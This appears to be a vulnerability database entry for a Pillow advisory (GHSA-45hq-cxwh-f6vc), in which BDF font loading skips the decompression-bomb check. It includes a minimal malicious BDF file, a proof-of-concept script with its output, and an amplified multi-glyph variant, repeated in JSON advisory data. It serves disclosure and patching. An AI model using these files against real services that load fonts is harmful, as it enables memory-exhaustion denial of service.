GHSA-45HQ-CXWH-F6VC

Vulnerability from github – Published: 2026-07-20 21:13 – Updated: 2026-07-20 21:13
VLAI
Summary
Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Details

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

# width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:13:18Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84\u201388) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow\u0027s documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 \u00d7 MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `\u003e= 0`) \u2014 no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84\u201388):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n    im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n    # TRIGGERED when BITMAP section is empty (zero hex lines)\n    im = Image.new(\"1\", (width, height))   # \u2190 NO _decompression_bomb_check()!\n    # ^ This image is stored in self.glyph[ch] \u2014 persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass \u2014 270-byte BDF \u2192 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000   # 400M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP \u2192 ValueError \u2192 Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size  : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf))   # No exception \u2014 bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently \u2014 {W*H//8//1024**2} MB allocated\")\nprint(f\"    Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size  : 270 bytes\n[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target  : 47 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently \u2014 47 MB allocated\n    Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):**  \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 \u00d7 7.6 MB = ~1.95 GB` total C-heap allocation \u2014 all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH \u2014 attacker-controlled memory allocation per glyph \u00d7 up to 65,536 glyphs\n- **Confidentiality**: None  \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object \u2014 memory is NOT freed until the font is garbage collected",
  "id": "GHSA-45hq-cxwh-f6vc",
  "modified": "2026-07-20T21:13:18Z",
  "published": "2026-07-20T21:13:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via font loading"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…